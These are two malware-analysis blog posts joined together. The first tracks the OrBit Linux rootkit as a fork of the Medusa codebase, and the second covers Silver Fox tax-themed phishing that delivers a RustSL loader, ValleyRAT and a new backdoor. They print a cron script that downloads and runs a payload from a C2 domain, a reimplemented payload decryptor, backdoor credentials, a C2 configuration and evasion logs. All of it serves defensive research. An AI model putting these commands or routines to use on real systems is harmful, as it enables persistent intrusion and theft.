These samples continue the 54-export lite build lineage that first appeared in 2023 with 3ba6c174/4203271c. The hook set is identical (49 hooks), the XOR key remains 0xA2, and the same capability domains are absent: no PAM credential interception, no pcap sniffing, no TCP port hiding. The password field is still missing from the binary. Each sample carries a distinct username (rebel, Gestuff, adm1n, respectively), consistent with the Lineage B pattern of per-deployment username rotation, with no corresponding password.

989f7eb4 is the payload extracted from the 48a68d05 dropper. It was not on VT; we uploaded it.

Samples From 2025

Hash XOR Working dir Username Password Exports # Hooks Role
8e83cbb2 0xA2 /lib/libseconf/ infinity 302010 66 54 payload .so
2b2eeb22 0xA2 /lib/libseconf/ adm1n asdfasdf 64 54 payload .so (extracted from d3d204c1)
84828f31 0xA2 /lib/libseconf/ adm1n asdfasdf 64 54 truncated copy of 2b2eeb22
090b15fd — — — — — — dropper (carries 8e83cbb2)
64a3ebd3 — — — — — — dropper (carries 8e83cbb2)
b85ed157 — — — — — — dropper (carries 8e83cbb2)
d3d204c1 — — — — — — dropper (carries 2b2eeb22)
73b95b7d n/a — — — — — infector (carries 090b15fd as inner ELF)

The 2025 epoch marks two significant capability additions to Lineage A and confirms the rootkit’s return to the 0xA2 encryption key after the 2024 0xAA experiment.

Two distinct rootkit .so builds are present in 2025, both Lineage A:

8e83cbb2 represents the most capable build to date. Its 66-export set includes a significant new hook not seen in any prior variant: pam_sm_authenticate. This is the PAM service-side authentication function, meaning the rootkit now hooks both sides of the PAM stack. Where earlier variants could only passively capture credentials via client-side pam_authenticate, this build can also forge authentication outcomes, allowing the attacker to approve or deny login attempts at will. The export set also includes xread, first seen in 296d28eb (2023).

2b2eeb22 is a second Lineage A payload with 64 exports. XOR 0xA2 decode confirms credentials adm1n/asdfasdf, the same operator behind ec7462c3 (2022), 296d28eb (2023), and the 26082cd3 inner payload (2024), now spanning four years. 84828f31 is a truncated copy of 2b2eeb22 (same BuildID: cbc9724027399723a27daa4114ffcdf906cb802f, identical bytes up to 107KB, missing the trailing 102KB containing section headers and symbol tables), it is likely an incomplete extraction or download artifact. It is not a distinct sample.

XOR 0xA2 string decode of both payloads confirms the full Lineage A string set is restored: sshpass.txt and sshpass2.txt both present, plus .logpam, .udp, .ports (×2), /proc/net/tcp. The string removals introduced by the 2024 0xAA cluster (a6138638‘s missing local.txt, sniff.txt, etc.) were not carried forward, and both builds return to the comprehensive logging and credential-capture model.

Dropper Samples

090b15fd, 64a3ebd3, and b85ed157 are statically linked ELF executables that carry 8e83cbb2 as an embedded .so and share the same Build ID: da256c78910c552eb334814ada85c7655b717c4f. d3d204c1 is the same type of dropper carrying 2b2eeb22. All four share the same architecture first seen in f1612924 (from 2022).

73b95b7d: A New Dropper Architecture

73b95b7d is not just a dropper, it is an infector that carries the dropper as an embedded payload. This creates a two-stage delivery chain: infector → dropper → rootkit.

The inner binary (090b15fd, embedded at file offset 0x20d7) is the dropper we previously saw. The infector’s role is propagation and persistence; the dropper’s role is to extract and install the rootkit .so via ld.so.preload.

The infector scans the filesystem for ELF binaries and injects the second-stage payload into them. An infection marker bongripz4jezuz (stored in base64 encoding as: Ym9uZ3JpcHo0amV6dXoK) is checked before each infection attempt to avoid re-infecting the same target. The injected binaries include:

  • /bin/ls
  • All 64-bit ELF files in the current working directory that have read/write access.

Additionally, /etc/cron.hourly/0 is created as a persistence mechanism (to download and execute a remote payload), though it is a shell script rather than an ELF injection target.

#!/bin/sh
wget --quiet http://cf0[.]pw/0/etc/cron.hourly/0 -O- 2>/dev/null|sh>/dev/null 2>&1

This is the first OrBit component with any form of C2 communication. Every previous version was a purely passive implant, meaning the attacker connected via the SSH backdoor. 

This introduces an external command channel that can deliver updated payloads or instructions, adding a reinfection mechanism on top of ld.so.preload persistence.

The earlier droppers stored all paths and commands as plaintext. 73b95b7d is the first dropper to implement string protection: a custom substitution cipher using two lookup tables at .data offsets for the cipher and plain, each with 88 entries, defining a character-by-character mapping. Notably, this is a different scheme from the XOR encryption used by the previous rootkit payloads.

char mw_plain_table[0x4e] = "0123456789abcdefghijklmnopqrstuvzywxABCDEFGHIJKLMNOPQRSTUVZYWX|:. !#-/;&*\'\"\n\r", 0
char mw_cipher_table[0x58] = "<>@o$:,.l+*^?=)(|AB&%;D{!wkUxzvutsrqp_nm-ihgfFCcba~K23456789eyd1XSNQWTZMIRHGVOYLjPJE/][", 0

Connection to RHOMBUS

The structure of this dropper, which delivers the OrBit payload in the final stage, is identical to that described in this APNIC blog that analyzed a dropper that delivered RHOMBUS malware.

Rhombus is a Linux-based botnet malware first reported in February 2020 by the MalwareMustDie research group, which analyzed and shared samples of it. It acts as an installer/dropper that persists on infected devices, drops a second-stage payload, and then uses the compromised system for DDoS activity. The target systems are VPS and IoT devices. (SHA256 of the dropper: b982276458a85cd3dd7c8aa6cb4bbb2d4885b385053f92395a99abbfb0e43784).

Interestingly, the dropper 73b95b7d that delivers the OrBit payload in the final stage is identical to the one used in the Rhombus campaign 6 years ago. Coincidentally, both droppers use the same domain to download the payload as part of the cron-job-based persistence. The current resolution of the domain is to 109.95.212[.]253. The host has a unique BANNER_0_HASH-IP value, ba0c31785465186600a76b7af2a37aa6, that is shared with only one other IP, 109.95.211[.]141, as shown in the screenshot below from Validin. Based on the ASN resolution, both IP addresses are located in Russia.

The fact that the OrBit dropper shares the same domain as malware from 6 years ago can also be interpreted as an attempt to mislead researchers; therefore, we are not taking this evidence into account for attribution at this moment. However, it is worth noting that this connection exists.

Shared BANNER_0_HASH-IP value.
Resolution of http://cf0[.]pw

Samples From February 2026

Hash XOR Working dir Username Password Exports # Hooks
04c06be0 0xA2 /lib/libseconf/ jokerteam HACK89SERVER 64 54
d7b487d2 0xA2 /lib/libseconf/ 57ill4Cu63 1qaz@WSX3edc098 64 54

These two samples are confirmed to be identical in structure: the same 54-hook set, the same XOR key (0xA2), and the same working directory (/lib/libseconf/). The only difference is credentials: jokerteam/HACK89SERVER versus 57ill4Cu63/1qaz@WSX3edc098. XOR 0xA2 decode confirms the full Lineage A string set.

No Lineage B samples have surfaced since 2024, suggesting the lite build may have been retired or consolidated back into the main branch.

Connection to BLOCKADE SPIDER

In CrowdStrike’s 2026 Global Threat Report, they mention that BLOCKADE SPIDER used the OrBit backdoor to maintain persistence and stealthy access to virtualization environments.

BLOCKADE SPIDER is a CrowdStrike-tracked eCrime adversary that has been active at least since 2024. They are known for running Embargo ransomware campaigns using sophisticated, multi-domain attack techniques.

Origin: OrBit is a fork of the Medusa open-source rootkit

Mandiant’s reporting on UNC3886 espionage operations identifies MEDUSA and its installer, SEAELF, as tools used by this state-sponsored actor against Juniper and VMware infrastructure. Essentially, OrBit is built from Medusa, an open-source LD_PRELOAD rootkit published on GitHub (github.com/ldpreload/Medusa) in December 2022.

Mandiant’s MEDUSA configuration table matches our 2024 Lineage A 0xAA-key cluster exactly across four independent fields: the XOR key 0xAA, the backdoor credentials Y0u4reCu6e and 1qaz@WSX3edc123, the install path /lib/locate/, and a modification to the rootkit that redirects strace output to /tmp/orbit.txt. That literal orbit filename, preserved as a plaintext artifact inside UNC3886’s MEDUSA binary, is direct cross-attribution: Mandiant’s “MEDUSA” sample set and our “OrBit” 2024 cluster are the same builds.

We compiled Medusa from source and compared the resulting binaries byte-for-byte against our OrBit corpus. The match is unambiguous, and it rewrites the attribution and evolution story.

Evidence of the fork

The first is a function-set and export match. Compiling Medusa’s src/rkld.c against the default Makefile recipe produces a shared object whose function set, hook list, and XOR-obfuscated string table are a direct superset match for OrBit Lineage A samples. The 2022 OrBit baseline (ec7462c3) shares all core exports with the Medusa build and reuses the identical XOR 0xA2 string obfuscation scheme driven by Medusa’s build-time xor_dump() pipeline, with the XOR key itself hardcoded in config.c.

The second is a source-filename fingerprint that is present in almost every sample we analyzed. Some of the samples ship with an unstripped ELF .symtab. The resulting filenames are preserved verbatim: rootkit samples carry rkld.c and, when Lineage A is linked in, rknet.c, while loader samples carry rkload.c. Those are the exact names of Medusa’s source files, src/rkld.c, src/rknet.c, and src/rkload.c. The filenames themselves are not secret, since the Medusa repository is public, but their verbatim presence in the compiled binary is a strong attribution anchor: every unstripped sample directly identifies the upstream tree it was built from. Of the samples in our corpus, only three are fully stripped (the 2025 dropper 73b95b7d, and the rootkit binaries a6138638 and b9822764). Three representative samples are shown below: a full Lineage A rootkit (ec7462c3, 2022), a Lineage B lite rootkit (3ba6c174, 2023), and the SEAELF loader (26082cd3, 2024).

$ readelf -s ec7462c3f4a874… | awk ‘/FILE    LOCAL/’

    25: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c

    34: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS rkld.c

    40: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS rknet.c

    46: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c

$ readelf -s 3ba6c174a72e4b… | awk ‘/FILE    LOCAL/’

     1: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c

     9: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS rkld.c

    15: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c

$ readelf -s 26082cd36fdaf7… | awk ‘/FILE    LOCAL/’

     1: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c

     9: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS rkload.c

    14: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c

The Lineage A rootkit carries both rkld.c and rknet.c; the Lineage B rootkit, which omits the advanced hook set, carries only rkld.c; and the loader carries rkload.c. The same pattern holds across the wider corpus.

Alongside the filename fingerprint, the loader’s entry-point dispatch, its build_root() filesystem layout (.boot.sh, .logpam, sshpass.txt, sshpass2.txt, .ports), and its SELinux setxattr sequence all map one-to-one to the Medusa source.

The third is an embedded inner ELF produced by xxd -i. Medusa’s Makefile embeds build/rkld.so into the loader using the xxd -i build/rkld.so > build/rkld.h step, which is then included by the loader compiled at Makefile line 33. OrBit’s loader binaries follow this pattern: a rkld.so blob embedded as a C byte array within the loader ELF, dropped to disk at runtime. The embedding technique, offset layout, and post-drop execution flow are identical.

Per-Module Source Mapping

Medusa’s source tree maps cleanly onto the OrBit binary set we have tracked:

Medusa source Role Corresponding OrBit artifact
src/rkld.c Main rootkit (libc hooks, PAM harvest, file/proc/net hiding) All Lineage A / Lineage B rootkit .so samples
src/rkload.c Installer / SEAELF loader (patches ld.so, writes /etc/ld.so.preload, drops inner rootkit) 26082cd3 and related loader/installer samples
src/rknet.c Advanced hooks: xread, audit_log_acct_message, audit_log_user_message, pam_sm_authenticate, pcap_loop, port-hiding Not compiled in the default Makefile. Linked in only in Lineage A “full” builds.

The Medusa default Makefile compiles only src/rkld.c. Every Lineage A capability that appeared to “arrive” in OrBit between 2023 and 2025 was already present as source in Medusa’s src/rknet.c on day one of the public release. The operators’ work was to modify the Makefile to link rknet.c into their build, not to author those functions.

Timeline Anomaly

Our analysis shows that an initial OrBit sample (40b5127c) appeared in July 2022, predating the repository’s publication by approximately 5 months. Based on this information, there are two options: either the Medusa author published a privately-circulated rootkit source that had already been deployed operationally, or the earliest OrBit sample was built from a pre-publication snapshot of the same tree. Either way, the 2022 OrBit sample and the December 2022 Medusa source tree are the same codebase. The question is only which commit was made public first.

Implications

The appearance of a single rootkit family across four years does not imply a single operator. OrBit and Medusa have been built and deployed by at least three unrelated actor clusters we can presently distinguish, including the state-sponsored espionage activity attributed to UNC3886, the eCrime ransomware operations run by BLOCKADE SPIDER, and the 2025 cron-dropper campaign previously linked to RHOMBUS infrastructure. Attribution at the family level is therefore not enough, and defenders tracking an OrBit infection should separate the questions of which codebase was used from which operator configured and deployed it.

Tracking version-over-version changes in OrBit reads less like an active malware development project and more like a record of build-flag toggles, credential rotations, and install-path swaps against a stable upstream. The capability ceiling is set by the Medusa source tree as it existed in December 2022, and every apparent new feature we observed between 2023 and 2025 was already present in that tree, waiting for an operator to link it in. The xread read-hook bypass we first flagged as a 2023 compatibility shim is a function in src/rknet.c. The auditd evasion pair we called out as a 2024 addition, audit_log_acct_message and audit_log_user_message, sits in the same file. The PAM stack we noted as gradually expanding across versions, including pam_authenticate, pam_acct_mgmt, pam_open_session, and the 2025 service-side impersonation hook pam_sm_authenticate, is all present in the same rknet.c, as is the pcap_loop packet hook that appears in full Lineage A builds. None of these files is linked in by the default Makefile recipe, which compiles only src/rkld.c. Their arrival in individual OrBit samples corresponds to an operator modifying the build to include rknet.c, not to new code being written. 

Signatures based on invariants of the Medusa build pipeline will also flag builds from operators we have not yet seen. Three such invariants are worth calling out. 

  • The string table produced by Medusa’s xor_dump() routine, which emits every protected string as a contiguous block of single-byte XOR-obfuscated byte arrays within the compiled binary. Operators change the key value (0xA2 in most builds, 0xAA in the 2024 UNC3886 cluster) and some paths, but the table’s shape and the majority of its entries are fixed by the source. A YARA rule that decodes the table with a variable single-byte key and matches on a threshold count of known plaintext strings catches any build, regardless of which key was chosen. 
  • The filesystem skeleton that the loader’s build_root() writes into its install directory. Operators vary only the parent directory (/lib/libseconf/, /lib/locate/, /lib/libntpVnQE6mk/), so host-based detection can alert on the co-occurrence of that filename set inside any directory, and binary-level signatures can match the embedded filename constants and the setxattr call pattern directly. 
  • The nested-ELF structure produced by the xxd – +i build/rkld.so > build/rkld.h step in the Makefile, which bakes a full secondary ELF into the loader’s .rodata. Every Medusa loader therefore carries a second ELF magic inside its own image, followed by a length constant, and, if the binary is not stripped, two xxd-generated symbols (rkld_so and rkld_so_len ). The nested-ELF shape on its own is not specific enough to be a detection signature: plenty of legitimate software and unrelated malware use xxd -i or equivalent techniques to embed a payload, and any such binary will match a naive “second ELF at non-zero offset plus length constant” rule. The Medusa-specific part is the pairing of that structural pattern with (a) the symbol names rkld_so and rk +ld_so_len in the loader’s symbol table when the binary is not stripped, and (b) the inner ELF itself, matching the rootkit fingerprint described earlier in this section, which gives both a family-level anchor and a structural one.

Conclusion

The analysis of OrBit variants from 2022 through early 2026 reveals a Linux rootkit whose code later surfaced in an open-source codebase named Medusa. This suggests that the backdoor was created before its public release and has since been selectively forked, configured, and redeployed by multiple operators over four years. We identified two parallel build paths: the comprehensive Lineage A (“Full” build), which links in Medusa’s src/rknet.c advanced hook set, and the temporary Lineage B (lite build), which ships only the src/rkld.c core and was retired after 2024. Apparent “milestones” in Lineage A are the xread wrapper (2023), the audit_log_* auditd-evasion hooks (2024), and the 2025 addition of the pam_sm_authenticate hook, which corresponds one-to-one with functions already present in Medusa’s published source. The operator work is in the build configuration and deployment, not the C code.

Our analysis of the OrBit samples also discovered that at least 3 different operators are using the backdoor. A major operational shift occurred in 2025 with the introduction of a new two-stage infector architecture, marking one operator’s transition from a purely passive SSH-backdoor implant to malware with its first direct C2 capability. This infector utilizes a cron job to fetch external payloads from the domain cf0[.]pw. The architecture of this new dropper is identical to one used in the 2020 RHOMBUS botnet campaign, suggesting shared tooling or operator overlap, a link further cemented by the C2 domain resolving to infrastructure located in Russia. In parallel, the same Medusa codebase was weaponized upstream by the state-sponsored espionage actor UNC3886 (tracked by Mandiant). The 2024 0xAA-key cluster we tracked as Lineage A corresponds exactly to UNC3886’s MEDUSA configuration, including the backdoor credentials, the install path, and a strace artifact that retains the literal “orbit” string. The rootkit has also been adopted by the CrowdStrike-tracked eCrime adversary BLOCKADE SPIDER since at least 2024, who leverage OrBit for stealthy persistence against VMware vCenter infrastructure to facilitate the deployment of Embargo ransomware. The continued emergence of new Lineage A samples in 2026, accompanied by operator-specific credential rotation, confirms that a single public rootkit codebase is being cloned and configured by multiple unrelated actor groups.

IOC Table

SHA256 Year Role Lineage
40b5127c8cf9d6bec4dbeb61ba766a95c7b2d0cafafcb82ede5a3a679a3e3020 2022 payload A
ec7462c3f4a87430eb19d16cfd775c173f4ba60d2f43697743db991c3d1c3067 2022 payload A
f1612924814ac73339f777b48b0de28b716d606e142d4d3f4308ec648e3f56c8 2022 dropper –
d419a9b17f7b4c23fd4e80a9bce130d2a13c307fccc4bfbc4d49f6b770d06d3b 2023 payload A
296d28eb7b66aa2cbea7d9c2e7dc1ad6ce6f97d44d34139760c38817aec083e7 2023 payload A
3ba6c174a72e4bf5a10c8aaadab2c4b98702ee2308438e94a5512b69df998d5a 2023 payload B
4203271c1a0c24443b7e85cbf066c9928fcc69934772a431d779017fb85c9d73 2023 payload B
eea274eddd712fe0b4434dbef6a2a92810cb13b8be3deca0571410ee78d37c9f 2024 payload A
a61386384173b352e3bd90dcef4c7268a73cd29f6ae343c15b92070b1354a349 2024 payload A
a34299a16cf30dac1096c1d24188c72eed1f9d320b1585fe0de4692472e3d4dc 2024 payload B
b1dd18a6a4b0c6e2589312bbec55b392a20a95824ffe630a73c94d24504c553d 2024 payload B
989f7eb4f805591839bcbc321dd44418eb5694d1342e37b7f24126817f10e37e 2024 payload (extracted) B
8ea420d9aa341ba23cdea0ac03951bce866c933ba297268bc7db8a01ce8e9b8e 2024 payload (static ELF) A
26082cd36fdaf76ec0d74b7fbf455418c49fbab64b20892a873c415c3bb60675 2024 loader –
48a68d0555f850c36f7d338b1a42ed1a661043cacf2ba2a4b0a347fac3cb3ee6 2024 dropper –
fc2e0cb627a00d0e4509bd319271721ea74fb11150847213abe9e8fea060cc8a 2024 dropper –
8e83cbb2ed12faba9b452ea41291bcebdce08162f64ac9a5f82592df62f47613 2025 payload A
2b2eeb2271c19e2097a0ef0d90b2b615c20f726590bbfee139403db1dced5b0a 2025 payload A
84828f31d741f92ce4bca98cfc2148ff8cff6663e2908a025b1386dd4953ffef 2025 payload (truncated) A
090b15fd8912cab340b22e715d44db079ec641db5e2f92916aa1f2bc9236e03e 2025 dropper –
64a3ebd3ad3927fc783f6ac020d5a6192e9778fb16b51cceba06e4ee5416adff 2025 dropper –
b85ed15756568b85148c1d432a8920f81e4b21f2bc38f0cf51d06ced619e0e77 2025 dropper –
d3d204c19d93e5e37697c7f80dd0de9f76a2fb4517ced9cafd7d7d46a6e285ba 2025 dropper –
73b95b7d1006caf8d3477e4a9a0994eaa469e98b70b8c198a82c4a12c91ad49a 2025 infector —
04c06be0f65d3ead95f3d3dd26fe150270ac8b58890e35515f9317fc7c7723c9 2026 payload A
d7b487d2e840c4546661f497af0195614fc0906c03d187dc39815c811ea5ec3f 2026 payload A
b982276458a85cd3dd7c8aa6cb4bbb2d4885b385053f92395a99abbfb0e43784 2020 RHOMBUS dropper –

 

 

The post OrBit (Re)turns: Tracking an open-source Linux rootkit across four years of forks and deployments appeared first on Intezer.

  •  

Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and India

In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.

Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.

During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.

Email campaign

In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.

Phishing email sent to victims in Russia

Phishing email sent to victims in Russia

The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.

Contents of the PDF file from the January phishing wave

Contents of the PDF file from the January phishing wave

Contents of the фнс.zip archive

Contents of the фнс.zip archive

In the December campaign, the malicious code was embedded directly within the files attached to the email.

Phishing email sent to victims in India

Phishing email sent to victims in India

The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).

Contents of ITD.-.rar

Contents of ITD.-.rar

Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).

PDF file from the phishing email

PDF file from the phishing email

Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.

RustSL loader

The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:

Screenshot of the description from the RustSL loader GitHub project

Screenshot of the description from the RustSL loader GitHub project

The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:

  • Eight payload encryption methods
  • Thirteen memory allocation methods
  • Twelve sandbox and virtual machine detection techniques
  • Thirteen payload execution methods
  • Five payload encoding methods

Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.

The Silver Fox APT group first began using a modified version of RustSL in late December 2025.

Silver Fox RustSL

This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.

The steganography.rs module

The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.

The usage of the new module within the Silver Fox RustSL code

The usage of the new module within the Silver Fox RustSL code

The threat actors also modified the RustSL builder to support the new format and payload packing.

The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.

Encrypted malicious payload format

The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:

<RSL_START>rsl_encrypted_payload<RSL_END>

If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.

The rsl_encrypted_payload followed this specific format:

char sha256_hash[32]; // decrypted payload hash
DWORD enc_payload_len;
WORD sgn_decoder_size;
char sgn_iterations;
char sgn_key;
char decoder[sgn_decoder_size];
char enc_payload[enc_payload_len];

Below is a description of the data blocks contained within it:

  • sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
  • enc_payload_len: the size of the encrypted payload
  • sgn_iterations and sgn_key: parameters used for decryption
  • sgn_decoder_size and decoder: unused fields
  • enc_payload: the primary payload

Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.

To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:

def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes:
    buf = bytearray(data)
    xor_key = sgn_key & 0xFF

    for _ in range(sgn_iterations):
        k = xor_key
        for i in range(len(buf)):
            dec = buf[i] ^ k

            if k & 1:
                k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF
            else:
                k = (dec ^ (k >> 1)) & 0xFF

            buf[i] = dec

    return bytes(buf)

The unpacking process consists of the following stages:

  1. Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.

    Original file containing the encrypted malicious payload

    Original file containing the encrypted malicious payload

  2. XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
  3. Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.

    Encrypted malicious payload prior to the final decryption stage

    Encrypted malicious payload prior to the final decryption stage

  4. Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).

The guard.rs module

Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.

In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.

The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.

To determine the host country, Silver Fox RustSL sends requests to five public services:

  • ip-api.com (the GitHub version relies solely on this service)
  • ipwho.is
  • ipinfo.io
  • ipapi.co
  • www.geoplugin.net

Phantom Persistence

We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:

[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls.
[unix_timestamp] RSL started in debug mode.
[unix_timestamp] ==========================================
[unix_timestamp]     Phantom Persistence Module (Hijack Mode) 
[unix_timestamp] ==========================================
[unix_timestamp] [*] Calling RegisterApplicationRestart...
[unix_timestamp] [+] RegisterApplicationRestart succeeded.
[unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns.
[unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic.
[unix_timestamp] [*] Starting message thread to monitor shutdown events...
[unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded.
[unix_timestamp] [+] Window created successfully, message loop started.
[unix_timestamp] [+] Phantom persistence enabled successfully.
[unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS.
[unix_timestamp] Phantom persistence enabled.
[unix_timestamp] Mouse movement check passed.
[unix_timestamp] IP address check passed.
[unix_timestamp] Pass Sandbox/VM detection.

Attack chain and payloads

During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:

  • As an email attachment
  • Via a link to an external attacker-controlled website contained within a PDF attachment

We also observed three different ways the payload was positioned relative to the loader:

  • Embedded within the loader body
  • Hosted on an external website as a PNG image
  • Placed within the same archive as the loader

The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.

Attack chain of the campaign utilizing the RustSL loader

Attack chain of the campaign utilizing the RustSL loader

The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.

The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:

|p1:207.56.138[.]28|o1:6666|t1:1|p2:127.0.0.1|o2:8888|t2:1|p3:127.0.0.1|o3:80|t3:1|dd:1|cl:1|fz:飘诈|bb:1.0|bz:2025.11.16|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|

The key configuration parameters in this string are:

  • p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
  • bz: the creation date of the configuration

The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).

Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.

ValleyRAT utilizes the registry to store its configurations and modules:

Registry key Description
HKCU:\Console\0 For x86-based modules
HKCU:\Console\1 For x64-based modules
HKCU:\Console\IpDate Hardcoded registry location checked upon Login module startup
HKCU:\Software\IpDates_info Final configuration

The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.

Custom ValleyRAT modules

The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.

HKCU:\Console\0 registry key value Module name Library MD5 hash Compiled date and time (UTC)
fc546acf1735127db05fb5bc354093e0 保86.dll 4a5195a38a458cdd2c1b5ab13af3b393 2025-12-04 04:34:31
fc546acf1735127db05fb5bc354093e0 保86.dll e66bae6e8621db2a835fa6721c3e5bbe 2025-12-04 04:39:32
2375193669e243e830ef5794226352e7 保86.dll_bin e66bae6e8621db2a835fa6721c3e5bbe 2025-12-04 04:39:32

Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.

